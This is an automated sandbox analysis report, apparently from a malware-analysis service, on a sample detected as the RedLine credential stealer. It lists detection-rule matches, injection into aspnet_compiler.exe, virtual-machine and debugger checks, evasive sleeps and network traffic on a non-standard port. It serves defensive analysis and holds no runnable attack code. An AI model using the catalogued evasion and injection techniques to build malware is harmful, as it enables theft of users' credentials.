Source: Process Memory Space: StZAEFSb2j.exe PID: 780, type: MEMORYSTR Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: aspnet_compiler.exe PID: 1592, type: MEMORYSTR Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Detected potential crypto function
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Code function: 0_2_00E446A8 0_2_00E446A8
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Code function: 0_2_00E40448 0_2_00E40448
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Code function: 0_2_00E419D0 0_2_00E419D0
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Code function: 0_2_00E47321 0_2_00E47321
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Code function: 0_2_00E45129 0_2_00E45129
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Code function: 0_2_00E48108 0_2_00E48108
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Code function: 0_2_00E40439 0_2_00E40439
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Code function: 0_2_00E419C1 0_2_00E419C1
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Code function: 0_2_00E43F60 0_2_00E43F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Code function: 1_2_02E2DE10 1_2_02E2DE10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Code function: 1_2_02E2D2F0 1_2_02E2D2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Code function: 1_2_0620E7D0 1_2_0620E7D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Code function: 1_2_06206400 1_2_06206400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Code function: 1_2_062015A8 1_2_062015A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Code function: 1_2_0620DF00 1_2_0620DF00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Code function: 1_2_06201AB8 1_2_06201AB8
Sample file is different than original file name gathered from version info
Source: StZAEFSb2j.exe, 00000000.00000002.322189785.0000000005000000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameBLACKDEVIL.dll6 vs StZAEFSb2j.exe
Source: StZAEFSb2j.exe, 00000000.00000002.322199547.0000000005010000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameResourceAssembly.dllD vs StZAEFSb2j.exe
Source: StZAEFSb2j.exe, 00000000.00000002.321721404.00000000042B9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameImplosions.exe4 vs StZAEFSb2j.exe
Source: StZAEFSb2j.exe, 00000000.00000002.321430350.0000000002C56000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameResourceAssembly.dllD vs StZAEFSb2j.exe
Source: StZAEFSb2j.exe, 00000000.00000002.321430350.0000000002C56000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameImplosions.exe4 vs StZAEFSb2j.exe
Source: StZAEFSb2j.exe, 00000000.00000002.321290507.0000000002C1B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameBLACKDEVIL.dll6 vs StZAEFSb2j.exe
Source: StZAEFSb2j.exe, 00000000.00000002.321290507.0000000002C1B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameResourceAssembly.dllD vs StZAEFSb2j.exe
Source: StZAEFSb2j.exe, 00000000.00000000.307650279.00000000005D2000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameXCBVNDDJD.exe4 vs StZAEFSb2j.exe
Source: StZAEFSb2j.exe, 00000000.00000002.321384668.0000000002C4B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameResourceAssembly.dllD vs StZAEFSb2j.exe
Source: StZAEFSb2j.exe, 00000000.00000002.321334213.0000000002C39000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameResourceAssembly.dllD vs StZAEFSb2j.exe
Source: StZAEFSb2j.exe Binary or memory string: OriginalFilenameXCBVNDDJD.exe4 vs StZAEFSb2j.exe
Source: StZAEFSb2j.exe ReversingLabs: Detection: 34%
Source: StZAEFSb2j.exe Virustotal: Detection: 25%
Source: StZAEFSb2j.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\StZAEFSb2j.exe C:\Users\user\Desktop\StZAEFSb2j.exe
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\StZAEFSb2j.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\StZAEFSb2j.exe.log Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe File created: C:\Users\user\AppData\Local\Temp\tmpA487.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@4/26@3/2
Source: tmpA487.tmp.1.dr, tmpE406.tmp.1.dr, tmpCF62.tmp.1.dr, tmpE3D6.tmp.1.dr, tmpE3B6.tmp.1.dr, tmpA4F5.tmp.1.dr Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: StZAEFSb2j.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6120:120:WilError_01
Source: C:\Users\user\Desktop\StZAEFSb2j.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: StZAEFSb2j.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: StZAEFSb2j.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: StZAEFSb2j.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: C:\Users\Administrator\Documents\CryptoObfuscator_Output\BLACKDEVIL.pdbBSJB source: StZAEFSb2j.exe, 00000000.00000002.322189785.0000000005000000.00000004.08000000.00040000.00000000.sdmp, StZAEFSb2j.exe, 00000000.00000002.321290507.0000000002C1B000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\Administrator\Documents\CryptoObfuscator_Output\BLACKDEVIL.pdb source: StZAEFSb2j.exe, 00000000.00000002.322189785.0000000005000000.00000004.08000000.00040000.00000000.sdmp, StZAEFSb2j.exe, 00000000.00000002.321290507.0000000002C1B000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: XCBVNDDJD.pdb source: StZAEFSb2j.exe

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: StZAEFSb2j.exe, u206e????????????????????????????????????????.cs .Net Code: ????????????????????????????????????????? System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.0.StZAEFSb2j.exe.5d0000.0.unpack, u206e????????????????????????????????????????.cs .Net Code: ????????????????????????????????????????? System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Code function: 1_2_06208010 push es; ret 1_2_06208020

Hooking and other Techniques for Hiding and Protection
barindex
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 49697 -> 6008
Source: unknown Network traffic detected: HTTP traffic on port 6008 -> 49697
Source: unknown Network traffic detected: HTTP traffic on port 6008 -> 49697
Source: unknown Network traffic detected: HTTP traffic on port 49697 -> 6008
Source: unknown Network traffic detected: HTTP traffic on port 6008 -> 49697
Source: unknown Network traffic detected: HTTP traffic on port 6008 -> 49697
Source: unknown Network traffic detected: HTTP traffic on port 49699 -> 6008
Source: unknown Network traffic detected: HTTP traffic on port 6008 -> 49699
Source: unknown Network traffic detected: HTTP traffic on port 6008 -> 49699
Source: unknown Network traffic detected: HTTP traffic on port 49700 -> 6008
Source: unknown Network traffic detected: HTTP traffic on port 6008 -> 49700
Source: unknown Network traffic detected: HTTP traffic on port 6008 -> 49700
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\StZAEFSb2j.exe TID: 5504 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe TID: 1236 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 1276 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Is looking for software installed on the system
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Registry key enumerated: More than 150 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Window / User API: threadDelayed 9604 Jump to behavior
Contains functionality to detect virtual machines (SLDT)
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Code function: 0_2_00E430E0 sldt word ptr [ecx] 0_2_00E430E0
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Thread delayed: delay time: 922337203685477 Jump to behavior

Anti Debugging
barindex
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Code function: 0_2_00E46310 CheckRemoteDebuggerPresent, 0_2_00E46310
Enables debug privileges
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe Process token adjusted: Debug Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Writes to foreign memory regions
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000 Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 402000 Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 41A000 Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 41C000 Jump to behavior
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: E09008 Jump to behavior
.NET source code references suspicious native API functions
